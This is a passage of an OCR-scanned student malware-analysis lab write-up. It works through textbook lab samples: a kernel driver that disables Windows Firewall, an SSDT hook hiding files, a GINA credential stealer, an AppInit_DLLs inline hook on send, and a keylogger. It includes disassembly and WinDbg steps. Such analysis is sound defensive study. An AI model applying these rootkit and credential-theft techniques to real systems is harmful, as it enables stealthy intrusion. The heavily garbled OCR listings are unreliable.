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nt |RtlpBreakWithStatusInstruction:

80527bdc cc int 3
kd> !object \Driver
Object: =101d910 Type: (8a360418) Directory

e101d8f8 {(old version)
PointerCount: 87

ObjectHeader:
HandleCount: 0

Directory Object: 1001150 Name: Driver
Hash Address Type Name
oo 8a0fd3a8 Driver Beep
8a20c3bl0 Driver NDIS
82053438 Driver KSecDD
01 8al0ad?7d0 Driwver Mouclass
8al0453e38 Driver Raspti
89=28de8 Driver es1371
02 89=29bf 0 Driver vmE_svga
03 89=e57b90 Driver Fips
8a1f87b0 Driwver Kbdclass
04 89fe6f 38 Driver VgaSave
89ee6030 Driver NDProxy
8a2a60b8 Driver Compbatt
0s 8a292ec8 Driver Ptilink
8231850 Driver MountMgr
8227170 Driwver wdmaud
07 89%e0d7a0 Driver dmload
8a2b0218 Driver isapnp
89e3c2cl Driver swmidi
o8 8228b948 Driver redbook
8al1f75f8 Driver vmmouse
8a0edS10 Driver atapi
09 89=0eal8 Driver vmscsi
10 89feddsal Driver IpHat
8a0e3728 Driver RasAcd
8a072d68 Driver PSched

Figure 3. lobject \Driver

SERVICE CONTROL_STOP will call DriverUnload function. To figure out what is the
address of DriverUnload function is I would first place a breakpoint on Lab10-01 Driver
entry

kd> bu Lab10_01!DriverEntry

Note that “-” is converted to “ . Next we need to step till Lab10 01.sys is loaded. Use step
out till you see this nt!lopLoadUnloadDriver+0x45.

kd> !object \Driver

to list the loaded drivers, then we use display type (dt) to display out the LAB10-01 driver.

kd: lobject B9d3adal
Object . B9d3adal Type: (Ba3275b8) Driver
ObjectHeader: 89d3adB8 (old version)
Handl=eCount: 0 PointerCount: 2
Directory Object: =101d4d910 Hane
kd» dt _DRIVER _OBJECT B9d3adal
nt|_DRIVER_ORJIECT
+0=x000 Type On4

AkERTA LS

Lablg-01

+0=x002 Size Inleg

+0z004 Devicelbject ; {null)

+0x008 Flags O=l2

+0x00c DriverStart Dzxbaf7=000 Vaid

+0x010 DriverSize O=e80

+0x014 DriverSection (=8%9=3b630 Void

+0z2018 DriverExtension 0=z8%d3a=48 _DRIVER _EXTEHSION

+0x0lc DrivexrHame _UHICODE STRIHG "“~Driver~Lablii-0L"

+0x024 HardwareDatabaze (x30670a=0 _UHICODE STRING "~REGISTRY-MACHINE-HARDWARE-DESCRIFTIOH-~SYSTEM"
+0x028 FastIcDispatch (null}

+0x02c DriverInit Ixbaf7e959 long +0

+0z030] DriverStartlo (null})

+0x034 DriverlUnload O=zbaf7edis woid +0

+0zx038 MajorFunction [28] OxBO4E£354a long ntllopInvalidDeviceRequest+0

Figure 4. dt _DRIVER_OBJECT
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In the above image, we can see the address for DriverUnload. Now we just need to set
breakpoint on that address as shown below.

kd> lobject B9d3adal
Cbject : #§9d3adal Type: (82a3275b8) Drivex
CObhjectHeader 89d3ad88 (old version)
HandleCount: 0 PointerCount: 2
Directory Object: =21014910 Hams: Labl0-01
kd> dt _DRIVEFR _OBJECT 89d3adal
nt |_DRIVER_OBJECT
+0x000 Type : Drd
+0x002 Size : Onl&E
+0x004 DeviceObjsct : (mmll)
+0x008 Flags : Dxl2
+0x00c DrivezStart : Dxbat7e000 Void
+0x010 DriverSize : Oxaf8D
+0xD14 DriverSection . Dx8%e3be30 Void
+0x018 DriverExtensicon : Dx8%diasil _DRIVER_EXTENSIOH
+0x0l1lc DriverHans : _UNICODE_STRING “~[Driswer~LablO0O-01"
+0x024 HardwareDatabase OxB80&EFlasl _THICODE _STRING “~REGISTRY-HACHINE-HARDWARE--DESCRIFTIOHN-SYSTEM"
+0x02% FastIcDispatch : faall)
+0x02c DriverInit : Dxbaf7=e959 Llomg +0
+0x030 DriverStartIo : (mull)
+0x034 DriverlUnload : Oxbat?edB6 woid +0
+0x038 MajozFunction : [28] DxEBD4f£354s loang ntlloplnvalidDeviceRequest+0
ld> bp DxbafiFedEBE
led> g
Breakpoint 1 hit
Labl0_01+0x486 :
baf7ed8s BLEE o edi | edi

Figure 5. breakpoint unload

The following image is the dissembled code of the driver in IDA Pro. Stepping the above
instructions is the same as going through the instructions below.

Jtext 0816886 sub 10886 proc near ; DATA XREF: sub_ 10086+8 o
Jtext : BBB1GLEE6

JLext: 0@ 8886 Valuebaka = dword ptr -h

Jtext:BRBTGWEE6

ekt 00018486 mi edi, edi

JLexk:ARETauas push ehp

JexbiAREIauan moy ebp, esp

JEext:AREauan push BCK

Jtext:anm auac push ehx

JEERT AR BuED push esi

Jtext 00 BLBE mow esi, ds:RtlCreatefegistrykey

Jtext: DB B9y push edi

Jtext : @BE1 BL95 ®or edi, edi

Jtext:BBB 897 push offset Path i S\Registryg\iyHachineW\SOFTHWARES \Policies™...
Jtext:O@E1849C push edi ; RelativeTo

et BBET 89D mow [ebp+UalueData], edi

ekt aaeahne call esi ; RulCreateRegistryKey

Jtext:ARETAWAZ push offset aRegistryMach_8 ; "‘\RegisteyhW\HMachine\\SOFTWARE\“Policies”...
Jbext:AREauA7 push edi ; RelativeTo

JLext: ARl Bune call esl ; RtlCreateRegistryley

Jtext ARl BsAR push offset aRegistryMach_1 ; "‘\RegistryiiMachine\\SOFTWARE\\Policies™. ..
Jtext oz RN BEAF push edi ; RelativeTo

Jtext 00 BaB0 call esi ; RtlCreateReqgistryiey

Jtext: A BhB2 mow ebx, offset aRegistryMach_2 ; "“\\Registryi\Machine\\SOFTWARE \YPolicies™ ...
Jtext 0081 GuB7 push ebx ; Path

Jtext: @B 8sB8 push edi ; RelatiwveTo

Jtext: 0081 84B9 call esi ; RtlCreateRegistryKey

Jext BB 8LBE mow esi, ds:RtlWriteRegistrybValue

JLext BB auc push h i UaluelLength
Jtext:AABTALCE 1lea eax, [ebp+UaluebData]

ekt AR BuC A push eax 7 ValueData

Jtext:AREOLCT push h » ValueType

Jtext:anrauce mouy edi, offset ValueHame

Jtext AR BLCE push edi ; ValueHame

Jtext ol 0sLF push offset aRegistryMach_1 ; "‘‘\Registry\\Machine\\SOFTWARE\\Policies™. ..
Jtext: BB 8Dy push [} ; Relatiwvelo

Jtext 0081 BuD6 call esi ; RtlWriteRegistrylalue

Jtext:oBe8s08 push L ; ValuelLength

Jtext: @081 840A lea eax, [ebprUaluebata]

Jtexk: @881 840D0 push eax i ValueData

ekl @881 8uDE push L i ValueType

Jtexk i ARETALER push edi 7 UalueHame

Jbexk i ARETALET push ehx ; Path

Jtext ARl ALE? push a ; RelativeTo
Jtext:aanBsEY call esl ; RrlwiteReqistryValue

Jtext ARl 0ES pop edi

Jtext QR BuE T pop es5i

Jtext 000 BLER pop ehx

Jtext 0B BUES leave

Jtext :@BB1BLEA retn h

Jdext:OBB1BHER sub_ 1BABG6 endp

Figure 7. Lab10-01.sys IDA Pro
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iii. What does this program do?

The malware creates a service Lab10-01 that calls the driver located at
“c:\windows\system32\Lab10-01.sys”. It then starts the service, executing the driver and then
stops the driver causing the driver to unload itself. In the driver’s unload function the driver
attempts to create and write registry key using kernel function call. The following are the
registry modification made by the driver.

¢ RtlCreateRegistryKey: \\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft

¢ RtlCreateRegistryKey: \\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFir
ewall

¢ RtlCreateRegistryKey: \\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFir
ewall\\DomainProfile

¢ RtICreateRegistryKey:
\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile

¢ RtlWriteRegistryValue: \\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFir
ewall\\DomainProfile — 0 (data)

According to msdn, the above registry modifications will disable Windows Firewall for both
the domain and standard profiles on the victim’s machine.

b-The file for this lab is Lab10-02.exe

i. Does this program create any files? If so, what are they?

Cerbero Profiler highlighted that the malware contains a PE Resource. Instinct tells me that
this malware behaves like a packer and will extract this resource onto the target’s machine.

Figure 1. MZ header in resource
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Malware Analysis

runtinme enror

TLOSS errorurtun

SIMNG erroruoion

DOMAIN errcfun

RE02EBY N~ unable to initialize heapi.orun

RE02Trvn- not encugh space for lowio initialization’oun
RE02ENAN- not encugh space for stdic intializationtriun
RE02 5w run- pure virtual function callrun

REOZS4\ rn- not enough space for _onexit/atexit tableiron
R&015%Wrun- unable to open console deviceirun
RE018vrun- unexpected heap error.rion

RE0TTurun- unexpected multithread lock ermoruaion
REQCT1&MN- not encough space for thread data™orun
weunabmormal program termminaticn’orm

REBOOS r'm- not enough space for environmentirun
REOOEAN- not encugh space for argurmentsiuion

RSO0 rvm- floating point not loadediurun

Microsoft Wisual C+ = Runtime Librarny:

Runtime ErrorfonionPrograms

< program name unknowns

GetLastActivePopup

GetActiveWindow

MessageBoxa

user32.dil

KERMEL32.dil

ADVAPIZZ.

Failed vo start serviceun

Failed to create service\n

“C:\\Windows\\System32\\M1wx486.sys” seems suspicious. xRef this string might help us to

solve this problem.

call ds:WriteFile

push esi F
call ds:CloseHandle
push BF B83Fh H
push n z
push n :
call ds :0penstHanageri
test eax, eax

jnz short loc 481897

hilbject

dubesirediccess
1pbatabaseHame
1pHachineHame

1

BN service manager .ywn"

loc LB 897 : ; lpPassword

push a

push o i lpServiceStartHame
push ] : lpbependencies

push [ 3 lpdwTagld

push L] ; lpLoadOrderGroup
push offset BinaryPathHame ; “C:h\\WindowshyhSystend2yyHlwsbdo . sys"
push 1 ; dwErrorControl
push SERVICE_DEMAHD_START ; duStartType
push SERVICE_KERHEL_DRIVER ; duServiceType
push AF IAFFh ; dubesiredhccess
push offFset DisplayMame ; "L4B6 WS Driver™
push offset DisplayHame ; “hH6 WS Driver™
push Bax ; hSCHanager

call ds CreateServicen

o esi, eax

test esi, esi

jnz short loc_ 4K 8DC

printi
BESp, 4
BaX, BaX
edi
esi
ehx
BCX

ofFset aFailedToGreate : “Failed to create service.wn™

loc_bHiFBDG: 7 1pServiceArgUectors
]
] ; dubumiervicefrgs
esi i hService

ds:StartServicen
eax, eax
short loc_ 4N AFR

1
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Malware Analysis

After extracting the driver, the malware then goes on to create a service (486 WS Driver) and
start it using StartServiceA.

& Process Monitor - Sysinternals: www. sysinternals.com

Fle ES Evert Fiw Toos Optons Heb
#EH 4BE <=4Ad D a5 |(HEl4xE

T, Paocass Hame PID Oipemestion Pt Aasul Digtsd
1o :..nhll'll'l."m Ly .Il'\p-'irﬂr CVWTRD WS oyt i3 Wk A BB e SLUCTESS DiFswt [, Langih 3

Using Proc mon we can observe that WriteFile to “C:\\Windows\\System32\\MI1wx486.sys”
was captured by the tool.

ii. Does this program have a kernel component?

Attempts to locate the dropped driver in system32 folder was fruitless. Somehow the file is
not in the folder. So instead I decided to extract the driver out from the resource directly.
Firing up IDA Pro we can see DriverEntry function suggesting that this executable is a
driver.

iii. What does this program do?

DrierEntry leads us to the following subroutine in IDA Pro (0x10706). The malware is
attempting to change the flow of the kernel Service Descriptor Table and the target that it is
attempting to hook is the NtQueryDirectoryFile. The malware calls
MmGetSystemRoutineAddress to get the pointer to the NtQueryDirectoryFile and
KeServiceDescriptorTable subroutine. Then it loops through the service descriptor table
looking for the address of NtQueryDirectoryFile. Once found, it will overwrite the address
with the evil hook (custom subroutine).

~text: 000185846 mow edi, edi

-text:-00010H88 push ebp

Ltext: el oase mou | ebp, esp

~text:00010488 push esi

-text: 000105880 moe esi, [ebp+Filelnformation]

~text:00010L8F push edi

-text: 000104890 push dword ptr [ebp+RestartScan] ; RestartScan
-text:000105893 push [ebp+FileHame ] ;s FileMame

-text-00010H06 push dword ptr [ebp+ReturnSingleEntry] ; ReturnSingleEntry
~textz0001 04899 push [ebp+FilelnformationClass] ; FilelnformationClass
-text:aae1059c push [ebp+FilelnformationLength] ; FileInformationLength
-text:00010589F push esi ; FileInformation

-text:-000104A0 push [ebp+loStatusBlock] ; IoStatusBlock
.text:0001048A3 push [ebp+ApcContext] ; ApcContext

-text: 0081 058a6 push [ebp+ApcRoutine] ; ApcRoutine

-text-0001 809 push [ebp+Event] s Event

~textz00014AC push [ebp+FileHandle] ; FileHandle

-text:aae1058aF call HtQueryDirectoryFile

~text:-0001 858K WO edi, edi

~text:00010LE6 ©mp [ebp+FilelnformationClass], 3

-text:-0001 048R oy dword ptr [ebp+Restarticam], eax

-text:-00601 848D jnz short loc_18585

~textz000108BF test eax, eax

~textz0001858C1 ji short Loc_ 10585

-text-0060184%C3 Cm [ebp+ReturnSingleEntry], @

-text-000184CT jnz short loc_18585

~text-000104CYD push ehx

-text-006184CAH

~-text:@@80184%CAH loc_104L0CH : CODE XREF: sub_184586+7CLj

H
-text-00018LCAH push 8 : Length
~textz0001858CC push offset amM » Source2
-text:-oao1asbD lea eax, [esi+SEh]
-text-0001 08404 push eax ; Source
~text:o0018s8Ds =or bl, bl
~textz000105D07 call ds z RELComp.ar e e mory
-text:-00601 840D M eax, B
-text-00018KE8 jnz short loc_18&4F &
-text:00010%E2 inc bl
~text: 0001 8%E test edi, edi
-text:-000180KES6 j=z short loc_18&LFN&
. text:000108ES mow eax, [esi]
-text006018%ER test eax, eax
-text:-086018%EC jnz short loc_18&F2
-text:-B0018LEE and [edi] ., eax
~text-00010454F @ Jmp short Lloc_1848F&

-Fext - ARARTARFD? -

Figure 6. NTQueryDirectoryFile
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In the driver, NTQueryDirectoryFile function is used. According to msdn, this
function returns various kinds of information about files in the directory specified by a given
file handle. Further down, we can see that RtICompareMemory is called. A comparison

was made between the filename and the following string “Mlwx“. If it matches, the file will
be hidden.

mLL AL e OFOFTF I T I W g | UUTOAOACACA LA B LaFe WL LN LR 1o

-text:Ba81851A aM db "H°,8
-text:88681851C db *'1°,8
-text:8801851E aw db ‘w’,8
.text:800818528 db "x',8
.text:80818522 db a

-text:B868018523 db ]

text:B0008108524 align &8h

-text:A08108524 text ends

Figure 7. Mlwx string
To see all this win action, fire up Windbg and attach it to the kernel.

use the following command to list the service descriptor table. This table has yet been
tampered with...

kd> dps nt!KiServiceTable 1 100

Set breakpoint by using this command bu Mlwx486!DriverEntry. Run Lab10-02.exe and
windbg should break.Set breakpoint at nt!IlopLoadDriver+0x66a and let the program run
again. Once the kernel breaks, you will be able to run !object \Driver to list the loaded
drivers. Driverlnit for the malware has yet been executed at this stage so you can set your
breakpoint from this point on.

nt!DEgLDadImageSymels+Ds42:

a0527e02 =9 leave

kd> gu

nt I|MnLoadSy=tenInags+0=xza80:

2052414 204b3610 or byte ptr [ebx+36h].10h
kdr gu

nt | IopLoadDriver+0x371:

0576483 3bc3 Chp eax, ebx

kd> gu

nt ! IopLoadlnloadDriver+0=45:

A057AEB8f 8bfA o edi. seax

kd: lobject “Driwver

Object: =101d910 Type: (8a360413) Directory
ObjectHeader: =101d8f8 {(old wversion)
HandleCount: 0 PointerCount: 85
Directory Object: 1001150 Hame: Driwver

Hash Addres= Type Hame
00 Balfitel Driwver Beep
Galeblel Driver HDIS
Salebd28 Driver ESecDD
01 22191520 Driver Moucla=s
39delnil Driver Fa=pti
89=43=b0 Driver e=l1371
02 B8aZtic98 Driver VILE_SvVga,
N7 BafNzaZdal Thed orase | At

[led > |
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Practical No. 5

a-Analyze the malware found in Lab11-01.exe

i. What does the malware drop to disk?

B (Lot 1-01eee] - Cerbere Profiter 2.5
M El e e 1 A E & e e W= - e ™

o tid (=] = Anaes.

o
: a oo
E =C O3 00 DD SO 00 DD 00 OO
Cursor; 73 Sebecton: G SEes LADG - romess dats)

Figure 1. Binary resource in Lab11-01.exe’s TGAD

There is a binary in the resource section of Lab11-01.exe.

TH0E... JLabl 100 e 228 FhFeadFis CDocumenis and S etirgs\ddminatiston Dk lophLabl 1 01 me SUCCESS Diteal: 32 765, Len
1006, Labl 1400 e 22 §Cl:ald"h C\Documents and 5 eftings \idmins habod\Diedk op megra 32 0 SUCCESS Desed bicpess G
19:08: ijﬂEﬂ ey 228 Bk CisaieFis C:\Dipcuments sred S etingsWidminsbstod Desk ing SUCCESS Demed Aopaas §
006 ] Labd 1400 e 228 B CloseFis C:ADipcuments ard S etingsAdminstistor Deskop SUCCESS

1008, —Labl 100 exe 20 W wikeFile CoiDpcuments ard S etings i babor Desk bop'urogina 22 dil SUCCESS Difset 0, Lesgiic 4
1008, TLabl 100 e 22 ke CoDociummerls ard S etirgs i sbor Do op g 22 dil SULCCESS Ditset 8088, Lerg
008, o Lakd 100 228 P Closfie CDocismirds ared S aftirgs i abod Dk og'uicgra 32 dil SUCTESS

TR0 TILabl 100 e 225 EERsglinslakay HELM\SOF TWARE WiciaeallWwindoers NT\CiaeriyaisonWirkgon SUCTESS Daed Accads Al
10:0E: ;Ld:hl 140 om 226 [ RagSefaus HELM\SOF T'WARE WiciosoiVwindoss WT\DuneniVerson\WinkgontGinallLL SUCCESS Twpe AEG_5Z.Le
1908, Lot 140 moom 228 2k SetfEndD FisiriomstionFis CwND WS asbemd S onigheolvesre LOG SUCCESS ErdDeFi= 8132
1008, _JLabl 10 ane 228 S eEnd] FisrivmationFils CowAND WS ashem 32 conighaolvware LOG SUCCESS EndDiFie 8132
108 T Labl 10 e 223 B SeEndD FidriomationF iz COAMD A S asbem I P onhighsolbeae LOG SUCCESS EndDFi=: 16 304
1008, —Labl 100 e 228 W SeEndD FidrivmationFie CowAND WS abem T confighsolvare LOG SULCCESS ErDFie: 20480
T00E... T Lakl 140 s 223 P SeEndFiirinmalonF e LMD S e onhighsolvasis LOG SUCCESS Erad0FFie: 24 57

Figure 2. msgina32.dll dropped

From Proc Mon we can observe that msgina32.dll and software.LOG are dropped on the
machine.

ii. How does the malware achieve persistence?

In figure 2, the malware adds “HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\GinaDLL” into the registry.

According to MSDN, Winlogon, the GINA, and network providers are the parts of the
interactive logon model. The interactive logon procedure is normally controlled by
Winlogon, MSGina.dll, and network providers. To change the interactive logon procedure,
MSGina.dll can be replaced with a customized GINA DLL. Winlogon will trigger the use of
the malicious dll and that is how the malware achieve persistency.

iii. How does the malware steal user credentials?
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Looking at the dropped dII’s export, it seems like it is a custom dll to hook to the winlogon
process.

E ShellshutdownDialog 10001 240 29
E WihetictivatelserShell 100012B0O 30
E WixDisconnectMNotify 10001 2C0 21
E WixDisplayLockedMotice 10001200 32
E WixDisplaySASMotice 10001 2E0 33
E WixDisplayStatushessage 10001 2F0 34
E WixGetConsoleSwitchCredentials 10001 300 35
E WixGetStatushlessage 10001310 36
E Wixlnitialize 10001320 37
E WixlsLockOk 10001330 38
E WixlsLogeffOlk 10001340 39
E WixLoggedOnSASs 10001350 40

Ed WELoggedOutSAS 10007480

| WixLogoff 10001360 42
E WixMegotiate 10001370 43
| WixMNetworkProwviderLoad 10001320 44
| WixReconnectMotify 10001390 45
| WixRemowveStatushMessage 10001 340 46
| WixScreenSaverhlotify 100013B0O 47
E WixShutdown 10001 3C0 48
E WixStartApplication 10001300 49
E WihWhkstal ockedSAS 100013ED 50
E DIIRegister 10001440 51
E DlllUnregister 10001490 52
E DHENtryPoint 10001735 [main entryl

After checking through the exports function, only 1 function (WIlxLoggedOutSAS) behaves
suspiciously. The rest simply pass the inputs to the original function address.

The above figure is pretty straight forward, the inputs are passed to the original
WixLoggedOutSAS function and a copy of the inputs are passed to a function to write to a
file.

b- Analyze the malware found in Lab11-02.dll. Assume that a suspicious
file named Lab11-02.ini was also found with this malware.
i. What are the exports for this DLL malware?

Mame Address Ordinal

£ DlEntryPoint 100017E9 [main entry]

Figure 1. Exports

ii. What happens after you attempt to install this malware using rundll32.exe?

Figure 2. Set Registry & WriteFile
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The malware add a registry value in HKLM\SOFTWARE\\Microsoft\\Windows
NT\\CurrentVersion\\Windows\\AppInit DLLS.

It then copy itself; the dll as C:\Windows\System32\spoolvxx32.dIl.
The malware then tries to open C:\Windows\System32\Lab11-02.ini.

iii. Where must Lab11-02.ini reside in order for the malware to install properly?

..... E =T =z

b+ 5 2 -
Figure 3. Loads config file

The malware will attempt to load the config from C:\Windows\System32\Lab11-02.ini. We
would need to place the ini file in system32 folder.

iv. How is this malware installed for persistence?

According to MSDN, Applnit DLLs is a mechanism that allows an arbitrary list of DLLs to
be loaded into each user mode process on the system. By adding AppInit DLLs

in HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\ we are
loading the malicious DLL into each user mode process that gets executed on the system.

v. What user-space rootkit technique does this malware employ?

If we look at the subroutine @0x100012A3, you will see that it is attempting to get the
address of send from wscock32.dll. It then pass the address to subroutine @0x10001203.

The subroutine @0x10001203 is employing the inline hook technique. It first get the offset
from the hook position to the function where it wants to jump to. It then uses VirtualProtect
to make 5 bytes of space from the start of the subroutine address

to PAGE_ EXECUTE_READWRITE. Once it is done it then rewrite the code to jmp to the
hook function. Finally it reset the 5 bytes of memory space back to the old protection
attributes.
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o812 aF
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aaa1z21s
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aoge1218
aae1Z21D
age122a
Baaa1221
aae1z227
aaa1z22c
aaa1231
B0B1234
ape1237¥
aaa123A
aae123D
BaB123F
Baa12 582
BAB12 56
aoa12588
aoa1248
aae12580
Boe1258F
oae1252
age1253
|aae1258
ae1Z258
8ae125E
aae1262
apa126s
aea1268
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: int
inlineHook

oo
dwor-d
dword
duwrord
dwor-d
dword

FLOLdProtect
w a

var_ &
1pRrddress
arg_4
arg_ 8

Figure 4. inline hook

cdecl inlineHook{LPUDID 1pAddress,
pProc near =

Malware Analysis

int, int)

CODE XREF: swub_100012Aa3+4F Lp

ptr —BCh
pEtr -8

ptyr &

ptr =

ptr  Bch

ptr 18h

ebp

ebp, esp

esp, OCh

eax, [ebp+arg_&]

eax, [ebp+lpAaddress]

eax, %5

[ebp+var_ %], eax

ecx, [ebp+FlO0ldProtect’]

(=13 3 1lpFlOoldProtect
el L s FlHewProtect
L= 7 dwSize
edx, [ebp+LlpAddress]

edx = lpAaddress
ds :UirtualProtect

OF F h s Size
malloc

esp, &4

[ebp+uar_ 87, eax

eax, [ebp+uvayr_ 8]

ecx, [ebp+lpAddress]

[eax]. ecx

edx, [ebp+uvar_ 87

byte ptr [edx+&], 5

= s Size

eax, [ebp+lpAaddress]

eax z Sro

ecx, [ebp+uar_8]

ecx, 5

L=l s Dbst

e A

esp, BCh

edx, [ebp+var_87]

byte ptr [edx+8hih]. BE%h

eax, [ebp+lpAddress]
eax, [ebp+var_8]
eax, Bah

ecx, [ebp+uar_8]

[ecx+BBh], =2ax
edx, [ebp+lpAddress])
byte ptr [edx] ., BE?h

However, the malware only hook 3 programs; THEBAT.EXE, OUTLOOK.EXE,
MSIMM.EXE.

pusn o P nMoOouLe
call CetAbsolutefath
aad esp, =
s ecx, [ebp=Path]
push [T : S
call striptoFilename
aaa esmp,
o [ebp*Fath]. eax
g [ebpsPath] .
inz short loc 10081%EC
¥ L
¥
o o
loc_1088148EC
Lyt e edx, [ebpsPFath]
pusi [ B2
call TouUpperCase
add esp. &
pusi ofFfset aThebat exe THEBAT _EXE""
call strlen
add esp, &
pusk - T Size
pusi ofFfset aThebat_exe_8 ; “"THEBAT .EXE""
L e eax, [ebhpsPFath]
push eax = BuF1
call FRE s
i esp,. BGh
test eax, eax
iz short loc_180081561
"
[F
push offset alutlook_exe : ""OUTLOOK . .EXE"
call strlen
add esp. &
push -a = Sdze
pus offset atutlook_exe_8 ; “"O0TLOOK _EXE""
o ecx, [ebp«Fath]
pusk [of=20 z BuF
call e
add esp,. BCH
test eax . eax
i= short loc 100831561
IfJ
[l
push offset aHsimn_exe ; "“"HMSIHMH_EXE"
call strlem
add esm, &
push eax = Size
pus oFfFfset aHsimn_exe_B ; “CHS DHH.OEXE"”
[t isy edx,. [ebp=Fath]
push =l = BufF1
call e s Mgy
add esp, BCh
test eax, eaxw
= short loc 10081587
L
£ =2 2 1
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Figure 5. Hook selected programs

To conclude, the malware is attempting to do an inline hook on wsock32.dIl’s send function
for selected programs.

vi. What does the hooking code do?

We first look at what the malware is retrieving from the config file.

. h
[l = =
mou [ebp+HumberOFBEytesRead], @
push a ; 1lpOverlapped
lea ecx, [ebp+HumberOfBytesRead]
push ecx ; lpHumberOfBytesRead
push 188h ;: NHumberOfBytesToRead
push ofFfset buffer : 1lpBuffer
mowv edx, [ebp+hFile]
push edx : hFile
call ds :ReadFile
cmp [ebp+HumberOFfFBytesRead], @
jbe short loc_100816D2
¥
mouw eax, [ebp+HumberOfBytesRead]
o buffer[eax], 8
push ofFfset bufFfer
call decode ; decode config
add ecp, &

loc_18881aD2 :

mow ecx®x, [ebp+hFile]

push ecx ; hObject
call ds:CloseHandle

Jjmp short loc_180816E8

.

loc_108816E8:

1| |push 1
call hook ; hook userland functions
add esp, 4

Figure 6. Decoding config

After reading the data from the config file, the malware then decode it by calling the
subroutine @0x100016CA. If we dive into this subroutine, you will realize that it is a xor
decoding function. Let’s place a hook there in ollydbg to see what comes out.

LR

AR ] ) | el | i B bk o

This decoded string will be use in the following function.

c- Analyze the malware found in Lab11-03.exe and Lab11-03.d1l. Make
sure that both files are in the same directory during analysis.

i. What interesting analysis leads can you discover using basic static analysis?
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Lab11-03.exe

il s 5

; Attributes: bp-based frame

; int _ _cdecl main{int argc, const char »xargu, const char ==enup)
_main proc near

FileMame= byte ptr -184h
argc= dword ptr 8

argv= dword pty BCh
enup= dword ptr 18h

push ebp

mov ebp, esp

sub esp, 184h

push a ; bFaillfExists

push offset HewFileHame ; "C:WAWWINDOWSYASystem32i\yinet epar32 . dll”
push offset ExistingFileName ; “Labi1-83.d11"
call ds:CopyFilen

push offset aCisvc_exe ; “cisuc.exe”

push offset aCUWindowsSyst @ ; "CoyLUIHDDUSAASystem32y4%s"
lea eax, [ebp+FileHame]

push eax ; char =

call _sprintf

add esp, HCh

lea ecx, [ebp+FileHame]

push ecx ; lpFileHame

call sub_L4@168708

add esp, 4

push offset aMetStartCisvc ; “net start cisvc"”
call _system

add esp, 4

XOr eax, eax

mov esp, ebp

pop ebp

retn

_main endp

Figure 1. Installation

The main method in DI111-03.exe is pretty straight forward. It first copy the Lab11-03.dll to
C:\\Windows\\System32\\inet_epar32.dll. It then attempts to modify
C:\\Windows\\System32\\cisvc.exe and executes the infected executable by starting a
service via the command “net start cisvc”

Lab11-03.dll

The dll contains some interesting stuff... In export, we can see a suspicious looking function;
72769806582.

Mame Address Crdinal
B3 zzz69806582 10001540 1
=¥ DIIEntryPoint 10001968 [main entry]

Figure 2.
Export function surface a funny function

88



Malware Analysis

The imports contains GetAsyncKeyState and GetForegroundWindow which highly
suggests that this is a keylogger.

Address Ordinal Marne Library
ME| 100070F0 GetForegroundWindow USER32
& 100070F4 GetWindowTextA USER32
B 100070F3 GetAsynck ate USER32
XE 10007000 Sleep KERMEL32
B2 ANATANA WirkaEila FEDMIE! 37

Figure 3. imports

The function @zzz69806582 is pretty simple. It just creates a thread.

il i =

; Exported entry 1. zzz69886582

; httributes: bp-based frame

public zzz698086582
2z2z69806582 proc near

var_4= dword ptr -4

push ebp
mou ebp, esp
push ecx
push a8 5 1pThreadld
push [{] ; duCreationFlags
push [{] ; lpParameter
push offset StartAddress ; lpStartAddress
push 1] ; dwStackSize
push 1} ; 1pThreadattributes
call ds:CreateThread
mow [ebp+var_4], eax
cmp [ebp+var_u], 8
jz short loc_ 1008681566
‘ y =
[l e =
®or eax, eax
jmp short loc_1888156B| |loc_168881566:
mov eax, 1

loc_108868156B:

mov esp, ebp
pop ebp
retn

ZZz698B6582 endp

Figure 3. function zzz69806582
The thread that the above function creates first check for mutex; MZ.
It then create a file @ C:\\Windows\\System32\\kernel64x.dIl.
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pusE -
push AFn@mh

call d= zDpenMutexn

LI [Ebpehibject], eax
A [eppehOnject]), @
iz short lac_108a8 e

PR Lmamm e
i dwbesirediccess

== |
push @ : int]
call exit

Figure 4. Mutex MZ

Malware Analysis

L

. =
loc 10801450 : Mz
push oFFEet Hame
push 4 : bImit
puash & Lphast,
call 05 :CreateMy tesa
o [eBprhbbiect], eax
cap [rbp+hibject], @
oz shart Loc 10081880

ialOuner
At bribubes

T

=
Loc_1@0aiLED:
push L]

push b

push "

push []

push 1

push B R ARN@RnL
push offset Fil
call d=-Createf
o [ebpehFile
cnp [ebpenrile
inz short 1oc_

3 hiemplateFile

i dwk Lags@mddttributes
; owCreatienbdispesition
3 1pSecurityftiributes
i dwSharetode

i dwbesirediccess
eName ; CIWVUHMTHBOWS L\ Systes
iled

1. eax

J. ®

10an1ER

BV er e LA

Next, the thread calls a subroutine to record keystrokes.

L J

¥

e [5=1
loc_10801 480z : hTemplateFile
push a
push sun » duf lagsAandAttributes
push L ; duCreationDisposition
push 1] : lpSecurityattributes
push 1 ;3 dwShareHode
push BCARABBBGL » dudesiredAccess
push offset FileHame ; ""CAAWIHDOUS \ASystem32'W\kernel6l.dll"
call ds :CreateFilen
L LT [ebp+rhFile], eax
CIp [ebp+hFile], @
jnz short loc_108814%EB

=
imp

Figure 5. Keylogs

ii. What happens when you run this malware?

As answered in question 1, It first copy the Lab11-03.dll to

C:\\Windows\\System32\\inet_epar32.dll. It then attempts to modify
C:\\Windows\\System32\\cisvc.exe and executes the infected executable by starting a
service via the command “net start cisvc”

The infected service then begin to log keystroke and save it
in C:\\Windows\\System32\\kernel64x.dll.

¥ L i
) = [ = =1
short 10(:_191“&1539' Jnp short loc_18881538
loc_108614%EB: ; dwHoveHethod
push 2
push L] 7 lpbhistanceToHoveHigh
push ] ;: lpistanceToMHowe
nou eax, [ebprhFile]
push eax : hFile
call dszSetFilePointer
mou ecx, [ebp+hFile]
oy [ebpruar_u4], ecx
lea edx, [ebp+var_ 810]
push edx
call KeyLoggings : KeyLogs
add esp, &
mou eax, [ebp+hFile]
push eax ; hobject
call ds:CloseHandle
oy ecx, [ebp+hibject]
push ecK : hobject
call ds:CloseHandle
1
- o o
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Flgure 6. Procmon showing file creation in infected system
iii. How does Lab11-03.exe persistently install Lab11-03.d11?
